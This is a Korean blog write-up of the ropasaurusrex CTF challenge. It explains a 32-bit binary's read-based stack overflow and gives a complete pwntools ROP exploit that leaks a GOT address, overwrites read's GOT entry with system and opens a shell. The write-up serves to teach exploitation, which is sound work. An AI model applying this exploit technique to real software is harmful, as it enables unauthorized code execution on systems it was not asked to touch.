file 명령어로 문제 파일을 확인하면 32비트 바이너리임을 확인할 수 있다.
checksec 명령으로 적용된 보호기법을 확인하면 NX 보호기법만 적용되어 있는 것을 확인할 수 있다.
바이너리를 실행하면 입력을 받고, WIN을 출력해주는 것을 확인할 수 있다.
gdb로 함수 목록을 보면 main 함수도 없어서 당황했는데, ida로는 확인할 수 있었다.
main 함수를 보면 sub_80483F4() 함수를 호출하고, write 함수로 WIN을 출력하는 것을 확인할 수 있다.
sub_80483F4(); 함수를 확인하면 다음과 같다.
크기 136의 buf 변수를 선언하고 있고, read 함수에서 buf 변수에 입력을 받고 있다. 이때 0x100(256)크기 만큼 입력을 받고 있기 때문에 bof가 발생한다.
rop 기법으로 system("/bin/sh")을 실행 시켜서 쉘을 실행 시켜야 할 것 같다.
먼저 read 함수의 plt와 got, write 함수의 plt 주소를 찾아 read 함수의 got에 system 함수의 주소를 덮어야 한다. 사용할 함수들의 plt와 got는 pwntools의 plt와 got 기능을 이용하여 구할 수 있다.
그리고 read 함수와 system 함수의 offset은 다음과 같이 구할 수 있다.
read 함수와 write 함수는 인자가 3개이기 때문에 계속 호출하기 위한 pop pop pop ret gadget은 objdump -D ./ropasaurusrex | grep -B3 ret 명령으로 구할 수 있다.
system 함수의 인자로 들어갈 /bin/sh 문자열이 저장될 공간은 readelf -S 명령으로 헤더에서 저장할 수 있는 공간을 찾을 수 있다.
이 바이너리의 경우 .dynamic에 /bin/sh 문자열을 저장하면 될 것 같다.
위에서 구한 정보들로 rop 익스 코드를 작성하면 다음과 같다.
from pwn import *
p = process("./ropasaurusrex")
e = ELF("./ropasaurusrex")
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
sys_offset = 0x9ae70
dy = 0x08049530
pppr = 0x080484b6
binsh = "/bin/sh\x00"
pay = "A" * 140
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(dy)
pay += p32(len(binsh))
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(read_got)
pay += p32(len(binsh))
pay += p32(read_plt)
pay += "B" * 4
pay += p32(dy)
p.send(pay)
p.send(binsh)
read = p.recv(4)
sys = u32(read) - sys_offset
p.sendline(p32(sys))
p.interactive()
익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.
'Security & Hacking > CTF Write Up' 카테고리의 다른 글
[CodeGate 2017] babypwn (0) | 2021.08.10 |
---|---|
[pbctf 2020][web] Apoche I (0) | 2020.12.08 |
[2020riceteacatpanda] (0) | 2020.01.26 |
[Insomni'hack teaser 2020][Web] LowDeep (0) | 2020.01.20 |